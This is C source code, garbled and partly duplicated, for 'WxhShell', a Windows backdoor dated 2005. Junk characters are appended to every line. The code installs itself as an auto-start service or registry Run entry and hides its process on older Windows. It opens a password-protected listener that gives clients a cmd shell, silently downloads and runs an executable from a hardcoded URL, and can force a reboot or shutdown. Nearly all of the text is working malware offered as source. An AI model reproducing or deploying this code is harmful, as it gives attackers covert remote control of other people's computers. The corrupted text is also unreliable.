    if(Boot(SHUTDOWN)) Q.jThP`p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -wx~*  
    else { :%AEwRZ  
    closesocket(wsh); C :sgT6  
    ExitThread(0); %wru)  
    } G?LC!9MB  
    break; vJi<PQ6  
    } A =Z$H2  
  // 获取shell ztHx) !  
  case 's': { }BT0dKx  
    CmdShell(wsh); 0/|Ax-dK  
    closesocket(wsh); sl@>GbnS  
    ExitThread(0); 4HZXv\$  
    break; 2 #yDVN$  
  } gzvgXZ1q"  
  // 退出 1'p=yHw  
  case 'x': { *'H\`@L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m*B4a9 f  
    CloseIt(wsh); )f^^hEIS  
    break; AZik:C"Q  
    } \v=@'  
  // 离开 lcEK&AtK  
  case 'q': { Yc6.v8a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u.n'dF-  
    closesocket(wsh); S?JGg.)  
    WSACleanup(); h$9ut@I  
    exit(1); .]4MtG  
    break; 9a+Y )?z  
        } Hq gg*4#  
  } y<nPZ<h  
  } uJ0'`Q?6R9  
h:G>w`X  
  // 提示信息 >L "+8N6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z 1wtOL  
} 3Ur_?PM+C  
  } j@+$lU*r  
"Vl4=W)u  
  return; :Sd`4"AA  
} sz/^Ie-~  
W?wt$'  
// shell模块句柄 8_Uh h5[  
int CmdShell(SOCKET sock) m:0[as=  
{ 3'i(wI~<[  
STARTUPINFO si; %LmsywPPp  
ZeroMemory(&si,sizeof(si)); =6 zK 1Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FVL{KNW~i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;-"q;&1e  
PROCESS_INFORMATION ProcessInfo; [lSQMoi3  
char cmdline[]="cmd"; fdwP@6eh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +G"YQq'b  
  return 0; |w#~v%w  
} QT!>izgc U  
+C,/BuG  
// 自身启动模式 0,@^<G8?  
int StartFromService(void) &\cS{35  
{ /joY? T  
typedef struct nnT#S  
{ +%klS `_  
  DWORD ExitStatus; ,g0t&jITo  
  DWORD PebBaseAddress; Np$&8v+en  
  DWORD AffinityMask; o-l-Z|)7  
  DWORD BasePriority; FZ]+(Q"]:  
  ULONG UniqueProcessId; YXqYIG.G  
  ULONG InheritedFromUniqueProcessId; /!;v$es S  
}   PROCESS_BASIC_INFORMATION; kQd|qZ=:w  
i0+e3!QU  
PROCNTQSIP NtQueryInformationProcess; I#;dS!W"'  
[ "3s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9MI9$s2y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?D)$O CS  
Dyo^O=0c  
  HANDLE             hProcess; aMHC+R1X  
  PROCESS_BASIC_INFORMATION pbi; %-K5sIz  
84e8z{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -z-yk~F  
  if(NULL == hInst ) return 0; Os9 EMU$  
C'gv#!Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bnanTH9-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $-t@=N@vO?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /hVwrt(  
ae@!M  
  if (!NtQueryInformationProcess) return 0; 2T(+VeMQ=  
3}mg7KV&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2&]LZ:(  
  if(!hProcess) return 0; )Qe]!$tqfD  
I 2OQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5cU:wc  
Rcw[`q3/  
  CloseHandle(hProcess); T!41[vm(  
f##/-NG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H%rNQxA2 +  
if(hProcess==NULL) return 0; 5|pF*8*  
 #$2/<  
HMODULE hMod; } d8\ Jg  
char procName[255]; LA 2/<:  
unsigned long cbNeeded; &hL2xx=  
_Ds,91<muQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y`7<c5zD  
6dz^%Ub  
  CloseHandle(hProcess); W1)<!nwA  
W+"^!p|  
if(strstr(procName,"services")) return 1; // 以服务启动 0MxK+8\y  
~Sm6{L  
  return 0; // 注册表启动 ]' Ho)Q  
} OUGkam0UK  
;]>)6  
// 主模块 ]W2#8:i  
int StartWxhshell(LPSTR lpCmdLine) z8{-I@+`  
{ VEI ct{  
  SOCKET wsl; &s?uMWR  
BOOL val=TRUE; b30Jr2[  
  int port=0; !'BXc%`x[  
  struct sockaddr_in door; O j:I @c  
X9FO"(J  
  if(wscfg.ws_autoins) Install(); nIfAG^?|*  
F |5Au>t  
port=atoi(lpCmdLine); oCI\yp@a  
,5}w]6bCr  
if(port<=0) port=wscfg.ws_port; |Z2"pV  
#Cu$y8~as  
  WSADATA data; q%$p56\?3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >C6S2ISSz  
2@z.ory.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Rj>A",  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :p]e4|R  
  door.sin_family = AF_INET; @sg.0GR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yOKzw~;0%  
  door.sin_port = htons(port); zP2X}VLMo  
zYY]+)k?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G?XA",AC  
closesocket(wsl); Mb\(52`)Q  
return 1; ,>kVVpu  
} GtZ.' ?-  
cYC^;,C &|  
  if(listen(wsl,2) == INVALID_SOCKET) { } -;)G~h/"  
closesocket(wsl); a`f@&A`z  
return 1; g%[:wjV;  
} /w5*R5B{  
  Wxhshell(wsl); Qb/:E}h]$  
  WSACleanup(); 8uH8)  
T=M##`jP%  
return 0; CZeZk  
=4SXntU!e  
} 9609  
DQXcf*R  
// 以NT服务方式启动 Ny$3$5/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GQ@mQ=i  
{ .RFH@''  
DWORD   status = 0; >8OY6wb  
  DWORD   specificError = 0xfffffff; 2YW;=n  
vGh>1U:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2/s42 FoG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Jkbeh.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'plUs<A  
  serviceStatus.dwWin32ExitCode     = 0; vWeY[>oGur  
  serviceStatus.dwServiceSpecificExitCode = 0; #(Gz?kGAH`  
  serviceStatus.dwCheckPoint       = 0; *xsBFCRU  
  serviceStatus.dwWaitHint       = 0; p!uB8F  
aHpZhR| f$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R*lq7n9  
  if (hServiceStatusHandle==0) return; 9oO~UP!ag  
1kL8EPT%o  
status = GetLastError(); \'Et)uD*  
  if (status!=NO_ERROR) wW)(mY?   
{ +M_ _\7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4E=v)C'  
    serviceStatus.dwCheckPoint       = 0; W9tZX5V1  
    serviceStatus.dwWaitHint       = 0; Mkk.8AjC|  
    serviceStatus.dwWin32ExitCode     = status; _[Imwu}  
    serviceStatus.dwServiceSpecificExitCode = specificError; a4 N f\7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ][?J8F  
    return; QOg >|"KL  
  } `m<O!I"A  
3Zd,"/RH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zN[& iKf  
  serviceStatus.dwCheckPoint       = 0; ,z/aT6M?H  
  serviceStatus.dwWaitHint       = 0; [{u3g4`}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v7./u4S|V  
} LFHJj-nk  
=_ |G q|  
// 处理NT服务事件,比如:启动、停止 ml1%C%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |M5#jVXj  
{ [yQ%g;m  
switch(fdwControl) 9.M'FCd~M  
{ R3|4|JlGR  
case SERVICE_CONTROL_STOP: \#dacQ2E@  
  serviceStatus.dwWin32ExitCode = 0; jLVD37 P^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =%IyR  
  serviceStatus.dwCheckPoint   = 0; 6Nn+7z<*&z  
  serviceStatus.dwWaitHint     = 0; =VuSi(d;e{  
  { p5or"tK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M;ADL|  
  } ~:T@SrVI  
  return; 2m yxwA5  
case SERVICE_CONTROL_PAUSE: eeCG#NFY5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; miQ*enZi  
  break; =NC??e{  
case SERVICE_CONTROL_CONTINUE: *4`5&) `  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; AK&>3D  
  break; |w{Qwf!2  
case SERVICE_CONTROL_INTERROGATE: MAFdJ +n#  
  break; ,7)hrA$(  
}; Yn= "vpM1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d:K\W[$Bz  
} F.$z7ee@  
}p2iF2g9`  
// 标准应用程序主函数 Gg9MAK\C9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =cjO]  
{ ]Rxo}A  
X=]utn  
// 获取操作系统版本 ~r8<|$;  
OsIsNt=GetOsVer(); 0@cIj ]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pIcg+~  
qNj?Rwc  
  // 从命令行安装 HBE[q#  
  if(strpbrk(lpCmdLine,"iI")) Install(); bT2G G  
\N0vA~N.  
  // 下载执行文件 t sUu  
if(wscfg.ws_downexe) { z6E =%-`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A3_p*n@  
  WinExec(wscfg.ws_filenam,SW_HIDE); s~ 8 g  
} 2Wluc37  
Vl5>o$G|<.  
if(!OsIsNt) { 70R6:  
// 如果时win9x,隐藏进程并且设置为注册表启动 =+j3E<w  
HideProc(); ;HXk'xN  
StartWxhshell(lpCmdLine); 0!dNW,NfJ  
} o6O-\d7^M  
else k"i3$^v8  
  if(StartFromService()) \vT~2Y(K  
  // 以服务方式启动 z&d.YO_W  
  StartServiceCtrlDispatcher(DispatchTable); iVZ}+Ct<"  
else xE?KJ  
  // 普通方式启动 zs#-E_^%M  
  StartWxhshell(lpCmdLine); e3;D1@  
\Yr*x7!  
return 0; d%'#-w'  
} B0Wf$ s^7t  
v~L\[&|_  
FJ~d&L\l  
/&#y-D_  
=========================================== I{(!h90  
lgU!D |v  
cHFW"g78  
) >FAtE   
^ l]!'"  
! s =$UC  
" *FC8=U2\X  
SQcic]Ep  
#include <stdio.h> xc}[q`vK  
#include <string.h> ch0^g8@Q[  
#include <windows.h> (X"5x]7]  
#include <winsock2.h> P knOeW"j  
#include <winsvc.h> X|hYZR  
#include <urlmon.h> LQPQ !):;  
R'c dEoy  
#pragma comment (lib, "Ws2_32.lib") M+ %O-B  
#pragma comment (lib, "urlmon.lib") WkA47+DsV  
(t@)`N{  
#define MAX_USER   100 // 最大客户端连接数 ~3:hed7:  
#define BUF_SOCK   200 // sock buffer YTefEG]|q  
#define KEY_BUFF   255 // 输入 buffer #  `E  
Cb{D[  
#define REBOOT     0   // 重启 m6e(Xk,)  
#define SHUTDOWN   1   // 关机 :P_h_Tizv  
8+oc4~!A@n  
#define DEF_PORT   5000 // 监听端口 7w) 8s  
jD S\  
#define REG_LEN     16   // 注册表键长度 iw,uwh|L  
#define SVC_LEN     80   // NT服务名长度 PkDt-]G.  
'W_NRt:  
// 从dll定义API nb/q!8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #0<pRDXj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2PSExK57  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j "<?9/r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8m iJQIq  
^;PjO|mD Z  
// wxhshell配置信息 f<bB= 9J  
struct WSCFG { cwzkA,e@  
  int ws_port;         // 监听端口 n>.@@  
  char ws_passstr[REG_LEN]; // 口令 h 8UhrD<:  
  int ws_autoins;       // 安装标记, 1=yes 0=no u/j\pDl.  
  char ws_regname[REG_LEN]; // 注册表键名 Hu<]*(lK%  
  char ws_svcname[REG_LEN]; // 服务名 I(~([F2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *bFWNJ}`q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;F @Sz/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Gxe)5,G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i`F5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ck] I?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aYa`ex  
-nNKUt.I  
}; @3c'4O   
5CK\Z'c~!  
// default Wxhshell configuration A_@..hX(  
struct WSCFG wscfg={DEF_PORT, D*-  
    "xuhuanlingzhe", /W,hOv  
    1, 0j!<eN=  
    "Wxhshell", _WWC8?6 U  
    "Wxhshell", 3:jxr  
            "WxhShell Service", jnp~ACN,  
    "Wrsky Windows CmdShell Service", W'vekuM  
    "Please Input Your Password: ", $||WI}k3V  
  1, p4z4[=-:  
  "http://www.wrsky.com/wxhshell.exe", 9)t b=  
  "Wxhshell.exe" ?+hEs =Xs  
    }; |k6+- 1~_  
N/0aO^"V  
// 消息定义模块 J8Wits]A]$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QY)p![6Fj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Nxe1^F33  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f u\j  
char *msg_ws_ext="\n\rExit."; m@+v6&,  
char *msg_ws_end="\n\rQuit."; =p.avAuSn  
char *msg_ws_boot="\n\rReboot..."; FA-cTF[,(  
char *msg_ws_poff="\n\rShutdown..."; K]$PRg1| 3  
char *msg_ws_down="\n\rSave to "; ^O7sQ7V"f=  
j$Ndq(<tG  
char *msg_ws_err="\n\rErr!"; Nut&g"u2  
char *msg_ws_ok="\n\rOK!"; >A{Dpsi\  
 Q(w;  
char ExeFile[MAX_PATH]; QTa\&v[f  
int nUser = 0; B;[ .u>f  
HANDLE handles[MAX_USER]; ldTXW(^j  
int OsIsNt; _0Ea 3K  
O)&W0` VY  
SERVICE_STATUS       serviceStatus; AAa7)^R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vcQl0+&  
y_L8i[  
// 函数声明 yrEh5v:  
int Install(void); }@6Ze$ >  
int Uninstall(void); QD%xmP  
int DownloadFile(char *sURL, SOCKET wsh); 26aDPTP$<  
int Boot(int flag); YNV, dKB  
void HideProc(void); &'^.>TJ\  
int GetOsVer(void); )@DDs(q=i  
int Wxhshell(SOCKET wsl); =!SV;^-q  
void TalkWithClient(void *cs); 1]''@oh{6U  
int CmdShell(SOCKET sock); Ld.9.d]  
int StartFromService(void); nQV0I"f]?]  
int StartWxhshell(LPSTR lpCmdLine); 1#3|PA#>  
wyX3qH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w3q'n%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mTu>S  
9+9g(6  
// 数据结构和表定义 yOz6a :r  
SERVICE_TABLE_ENTRY DispatchTable[] = ' 8)kFR^9  
{ 8'@5X-nD  
{wscfg.ws_svcname, NTServiceMain}, 15J"iN2"W  
{NULL, NULL} Y910\h@V  
}; yH" i5L9  
Szt2 "AR  
// 自我安装 $$ *tK8#  
int Install(void) u_NLgM7*  
{ &=)O:Jfa  
  char svExeFile[MAX_PATH]; U:8] G  
  HKEY key; z0LspRaz  
  strcpy(svExeFile,ExeFile); vW eg1  
=cV|o]  
// 如果是win9x系统,修改注册表设为自启动 Z4Q]By:/L  
if(!OsIsNt) { O'(Us!aq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ( gg )?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AJB NM  
  RegCloseKey(key); sm'_0EUg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j=T8 b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bDl#806PL  
  RegCloseKey(key); !0lk}Uzkh  
  return 0; N4,oO H~  
    } F<{,W-my `  
  } Az y`4  
} tgG 8pL  
else { )e5=<'f 1  
nG4ZOx.*1g  
// 如果是NT以上系统,安装为系统服务 mWZP.w^-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'i$. _Tx  
if (schSCManager!=0) gk| % 4.  
{ !`N:.+DT  
  SC_HANDLE schService = CreateService pnSKIn  
  ( ZMlBd}H  
  schSCManager, OR6vA5J  
  wscfg.ws_svcname, ;SI (5rS?  
  wscfg.ws_svcdisp, eEBNO*2  
  SERVICE_ALL_ACCESS, OF`J{`{r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xz0t8`N oN  
  SERVICE_AUTO_START, c=+%][21  
  SERVICE_ERROR_NORMAL, V~*>/2+  
  svExeFile, (U# ,;  
  NULL, G@Z%[YNw  
  NULL, .n8O 3V  
  NULL, +&)/dHbL`]  
  NULL, })<u ~r  
  NULL O^CBa$  
  ); uQc("F  
  if (schService!=0) F-zIzzb&O  
  { h[qZM  
  CloseServiceHandle(schService); ?7wcv$K5  
  CloseServiceHandle(schSCManager); k^|z.$+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]@Y!,bw&  
  strcat(svExeFile,wscfg.ws_svcname); IrZ\;!NK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &4evh<z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >3D1:0Sg  
  RegCloseKey(key); Vx.c`/  
  return 0; X<IW5*   
    } oS$7k3s fj  
  } 40MKf/9  
  CloseServiceHandle(schSCManager); \:Tq0|]Px  
} 9d|8c > I  
} 8/j|=Q,5  
R98YGW_ dT  
return 1; ^@8XJ[C,_  
} `},:dDHI  
:k ?`gm$  
// 自我卸载 ;/kd.Q  
int Uninstall(void) B|a<=~  
{ Dk sn  
  HKEY key; Drtg7v{@\  
OKm,iIp]  
if(!OsIsNt) { ?bM%#x{e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Uf+y$n-  
  RegDeleteValue(key,wscfg.ws_regname); TYD( 6N  
  RegCloseKey(key); !m:WoQ/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;"IWm<]h;-  
  RegDeleteValue(key,wscfg.ws_regname); Uv[a ~'  
  RegCloseKey(key); ($`IHKF1.l  
  return 0; _Ycz@Jn  
  } ;taZixOH  
} 1@{ov!YB]  
} d+)LK~  
else { ~l:Cj*6x8  
U/{t "e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e@V J-s  
if (schSCManager!=0) |DW^bv  
{ BMO,eQcB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jt}oq%Bf  
  if (schService!=0) @1'OuX^  
  { Z?xaXFm_  
  if(DeleteService(schService)!=0) { _+P*XY5  
  CloseServiceHandle(schService); 0 N7I:vJ  
  CloseServiceHandle(schSCManager); p/_W*0/i  
  return 0; A@|Z^T:  
  } ^_v94!a 9  
  CloseServiceHandle(schService); P=EZ6<c3&  
  } ^k % +ao  
  CloseServiceHandle(schSCManager); l opl  
} g zi=+oJ|4  
} ?;](;n#lU  
>F^$ ' b]  
return 1; t)8c rX}P  
} j%3 $ytf|p  
Tx&H1  
// 从指定url下载文件 S+KKGi_e  
int DownloadFile(char *sURL, SOCKET wsh) *0,*F~n  
{ "k + :!D  
  HRESULT hr; :T$}@& -  
char seps[]= "/"; \mu';[gLd  
char *token; vM5I2C3_>!  
char *file; p&Nav,9x  
char myURL[MAX_PATH]; +&"W:Le:  
char myFILE[MAX_PATH]; &u|t{C#0  
= .S2gO >  
strcpy(myURL,sURL); 2u_=i$xW  
  token=strtok(myURL,seps); gYbvCs8O!  
  while(token!=NULL) _5n2'\] H`  
  { FEhBhv|m  
    file=token; rMWvW(@@D  
  token=strtok(NULL,seps); o/,%rA4  
  } 74 ptd,  
0P$19T N  
GetCurrentDirectory(MAX_PATH,myFILE); XdIno}pN  
strcat(myFILE, "\\"); \I i# R  
strcat(myFILE, file); $#e}9g.  
  send(wsh,myFILE,strlen(myFILE),0); (421$w,B%  
send(wsh,"...",3,0); M6cybEk`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n5xG4.#G  
  if(hr==S_OK) o/ \o -kC}  
return 0; 6flO;d/v  
else Us "G X_  
return 1; Ap\]v2G  
3@eI? (N  
} ~7}no}7  
sR PQr ?  
// 系统电源模块 _d~GY,WTdO  
int Boot(int flag) |:(BI5&S  
{ k(>J?\iNW  
  HANDLE hToken; PNLlJlYlP  
  TOKEN_PRIVILEGES tkp; 24InwR|^  
OdyL j  
  if(OsIsNt) {  A|IPQ=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~qb?#IY]`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D.AiqO<z  
    tkp.PrivilegeCount = 1; wMF1HT<*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2\$<&]q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "AJ>pU3  
if(flag==REBOOT) { `$ bQ8$+Ci  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jc6~V$3  
  return 0; nC/T$ #G  
} \K9Y@jnr  
else { coaJDg+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7m8:odeF  
  return 0; 6"?#s/fk  
} lKI]q<2  
  } ,trh)ZZYW|  
  else { \iEJ9V  
if(flag==REBOOT) { ZKI` ;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ca"i<[8  
  return 0; !Y^$rF-+  
} &e[Lb:Uk)  
else { hhjsg?4uL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *X|%H-Q:H`  
  return 0; Dh{P23}  
} 5.0;xz}#y  
} g+.E=Ef8<4  
aM[fag$c  
return 1; cEJ_z(\=hr  
} F r2 +p  
,h3,& ,  
// win9x进程隐藏模块  ;XYfw)  
void HideProc(void) 3kJSz-_M  
{ T^ xp2cZ  
H'EBe;ccM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /e*<-a  
  if ( hKernel != NULL ) z9#jXC#OdN  
  { f}FJR6VO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R<h0RKiM@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OK}8BY  
    FreeLibrary(hKernel); . 55aY~We  
  } Yic'p0< ?V  
-IV-"-6(  
return; AQ.q?'vE)  
} 0XIrEwm@%  
gAi}"} ;  
// 获取操作系统版本 r:^`005  
int GetOsVer(void) lgAE`Os  
{ W\DJXM]b  
  OSVERSIONINFO winfo; &zP\K~Nt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m} =<@b:l  
  GetVersionEx(&winfo); +fIy eX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S 1Ji\  
  return 1; 1 gRR  
  else .fW`/BXE  
  return 0; V|0UwS\n  
} -H_7GVSnl  
BT{({3  
// 客户端句柄模块 uqy~hY  
int Wxhshell(SOCKET wsl) 9>@"W-  
{ 1G8t=IA%D  
  SOCKET wsh; b;|^62  
  struct sockaddr_in client; eP3 itrH(  
  DWORD myID; :\1&5Pm]  
9Bmgz =8  
  while(nUser<MAX_USER) JeCEj=_Z  
{ X_|} b[b  
  int nSize=sizeof(client); }fxH>79g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -3b0;L&4>x  
  if(wsh==INVALID_SOCKET) return 1; lu.2ZQE  
Ki@8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ix5yQgnB}j  
if(handles[nUser]==0) 0MzHr2?'P  
  closesocket(wsh); 3 ?/}  
else |y=D^NTG  
  nUser++; #$fFp  
  } *m]%eU(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z=sAR(n}~  
EA>$t\z  
  return 0; AB#hh i#  
} 3vs2}IV'  
K<_H`k*x  
// 关闭 socket <$9AP  
void CloseIt(SOCKET wsh) CnA*o 8w  
{ z KWi9  
closesocket(wsh); S"Zs'7dy`  
nUser--; anV)$PT=  
ExitThread(0); /ci.IT$Q^  
} g-(xuR^*  
G6Fg<g9:  
// 客户端请求句柄 86} rz  
void TalkWithClient(void *cs) ;j_#,Da9<  
{ %F/tbXy{  
'Ph;:EMj  
  SOCKET wsh=(SOCKET)cs; )I}G:bBa  
  char pwd[SVC_LEN]; If#7SF)n'  
  char cmd[KEY_BUFF]; 1X9sx&5H  
char chr[1]; n2O7n @8  
int i,j; C,z]q$4  
1Q;` <=  
  while (nUser < MAX_USER) { ) DLK<10  
y! 1NS  
if(wscfg.ws_passstr) { P?uKDON  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V+K.' J ^@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,[hJi3xM  
  //ZeroMemory(pwd,KEY_BUFF); {DO9{96w4  
      i=0; \)"qN^we  
  while(i<SVC_LEN) { NAocmbfNz  
-jw=Iyv  
  // 设置超时 " 7 4L  
  fd_set FdRead; ]V]o%onW  
  struct timeval TimeOut; XF$C)id2p  
  FD_ZERO(&FdRead); nW%c95E  
  FD_SET(wsh,&FdRead); +1623E  
  TimeOut.tv_sec=8; Gsh2  
  TimeOut.tv_usec=0; 3a S>U #  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -T(V6&'Qi  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UX9o  
";. 3+z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Tuy*Df  
  pwd=chr[0]; +%~g$#tlJo  
  if(chr[0]==0xd || chr[0]==0xa) { t-Fl"@s  
  pwd=0; wIiT :o  
  break; V)Xcn'h  
  } zj)[Sn tn?  
  i++; 6a!X`%N=  
    } VEZ/-s/  
0\o'd\  
  // 如果是非法用户,关闭 socket ?k?Hp:8?=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s`2o\]  
} 5~? J  
abv]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TP^0`L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \dMsv1\  
A,/S/_Q=  
while(1) { P$QfcJq&c*  
3WVHI$A9  
  ZeroMemory(cmd,KEY_BUFF); i xyjl[G  
1FX-#Y`e  
      // 自动支持客户端 telnet标准   `jkn*:m  
  j=0; }bTMeCgI  
  while(j<KEY_BUFF) { ,5*4%*n\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j?(QieBH  
  cmd[j]=chr[0]; fe$WR~  
  if(chr[0]==0xa || chr[0]==0xd) { (TQXG^n$gY  
  cmd[j]=0; 'mM5l*{  
  break; !1_:nD  
  } 3QVng^"B)  
  j++; kgu+ q\?  
    } lb('r"*.  
"869n37  
  // 下载文件 M@3H]t?  
  if(strstr(cmd,"http://")) { zYNJF>^<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U|QDV16f  
  if(DownloadFile(cmd,wsh)) |g{AD`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 57}q'84  
  else Sq'z<}o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P;/T`R=Vr"  
  } ^s*} 0  
  else { G!IQ<FuY  
{mQJ6 G'ny  
    switch(cmd[0]) { #@fypCc  
